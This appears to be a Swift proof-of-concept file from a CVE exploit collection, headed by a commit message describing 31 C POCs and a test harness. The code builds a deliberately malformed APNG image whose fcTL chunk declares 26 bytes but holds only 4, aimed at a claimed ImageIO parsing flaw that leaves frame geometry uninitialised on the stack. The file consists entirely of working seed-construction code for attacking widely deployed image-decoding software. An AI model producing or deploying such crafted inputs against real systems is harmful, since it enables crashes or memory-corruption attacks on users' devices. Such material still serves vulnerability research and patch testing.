JBJF
7949c7ce9f
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
104 lines
4.0 KiB
Swift
104 lines
4.0 KiB
Swift
// iio.apng.fctl · ImageIO · IIO_Reader_PNG::getImageCount · CVE-2026-112630
|
|
// APNG fcTL truncation → uninitialised frame geometry on the stack
|
|
import Foundation
|
|
|
|
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
|
|
enum B {
|
|
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
|
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
|
static func be32(_ v: UInt32) -> [UInt8] {
|
|
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
|
|
}
|
|
static func le32(_ v: UInt32) -> [UInt8] {
|
|
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
|
|
}
|
|
static func be64(_ v: UInt64) -> [UInt8] {
|
|
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
|
|
}
|
|
static func le64(_ v: UInt64) -> [UInt8] {
|
|
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
|
|
}
|
|
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
|
|
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
|
|
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
|
}
|
|
|
|
// ── seed construction (from Cinder27 Sources: PNGPayload) ──
|
|
enum PNGPayload {
|
|
static func apngTruncatedFCTL(mode: Int = 0) -> Data {
|
|
var out: [UInt8] = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]
|
|
out += chunk("IHDR", B.be32(4) + B.be32(4) + [8, 6, 0, 0, 0])
|
|
out += chunk("acTL", B.be32(2) + B.be32(0))
|
|
var fctl: [UInt8] = B.be32(0) + B.be32(4) + B.be32(4) + B.be32(0) + B.be32(0)
|
|
fctl += B.be16(1) + B.be16(10) + [0, 0]
|
|
|
|
// a real 4x4 RGBA frame so the container itself is valid
|
|
var rawRows: [UInt8] = []
|
|
for _ in 0..<4 {
|
|
rawRows.append(0)
|
|
rawRows += [UInt8](repeating: 0x80, count: 16)
|
|
}
|
|
let idat = chunk("IDAT", zlibStore(rawRows))
|
|
|
|
if mode == 2 {
|
|
// control: a fully valid first fcTL (proves the container is otherwise sound)
|
|
out += chunk("fcTL", fctl)
|
|
out += idat
|
|
out += chunk("IEND", [])
|
|
} else if mode == 0 {
|
|
// proper chunk header claiming 26 bytes, only 4 present, then IEND
|
|
out += chunk("fcTL", fctl, declaredLength: 26, truncateTo: 4)
|
|
out += idat
|
|
out += chunk("IEND", [])
|
|
} else {
|
|
// file ends inside the fcTL: header + 4 data bytes, no CRC, no IEND
|
|
out += B.be32(26) + B.ascii("fcTL") + Array(fctl.prefix(4))
|
|
}
|
|
return Data(out)
|
|
}
|
|
|
|
static func chunk(_ type: String, _ data: [UInt8], declaredLength: Int? = nil, truncateTo: Int? = nil) -> [UInt8] {
|
|
let body = truncateTo.map { Array(data.prefix($0)) } ?? data
|
|
let len = UInt32(declaredLength ?? data.count)
|
|
var out = B.be32(len) + B.ascii(type) + body
|
|
out += B.be32(crc32(B.ascii(type) + body))
|
|
return out
|
|
}
|
|
|
|
static func crc32(_ bytes: [UInt8]) -> UInt32 {
|
|
var table = [UInt32](repeating: 0, count: 256)
|
|
for i in 0..<256 {
|
|
var c = UInt32(i)
|
|
for _ in 0..<8 { c = (c & 1) != 0 ? (0xEDB88320 ^ (c >> 1)) : (c >> 1) }
|
|
table[i] = c
|
|
}
|
|
var crc: UInt32 = 0xFFFFFFFF
|
|
for b in bytes { crc = table[Int((crc ^ UInt32(b)) & 0xFF)] ^ (crc >> 8) }
|
|
return crc ^ 0xFFFFFFFF
|
|
}
|
|
|
|
static func zlibStore(_ input: [UInt8]) -> [UInt8] {
|
|
var out: [UInt8] = [0x78, 0x01]
|
|
var offset = 0
|
|
if input.isEmpty { out += [0x01, 0x00, 0x00, 0xFF, 0xFF] }
|
|
while offset < input.count {
|
|
let take = min(65535, input.count - offset)
|
|
out.append(offset + take >= input.count ? 0x01 : 0x00)
|
|
out += B.le16(UInt16(take))
|
|
out += B.le16(UInt16(~take & 0xFFFF))
|
|
out += Array(input[offset..<(offset + take)])
|
|
offset += take
|
|
}
|
|
var a: UInt32 = 1, b: UInt32 = 0
|
|
for byte in input {
|
|
a = (a + UInt32(byte)) % 65521
|
|
b = (b + a) % 65521
|
|
}
|
|
out += B.be32((b << 16) | a)
|
|
return out
|
|
}
|
|
|
|
}
|
|
|
|
|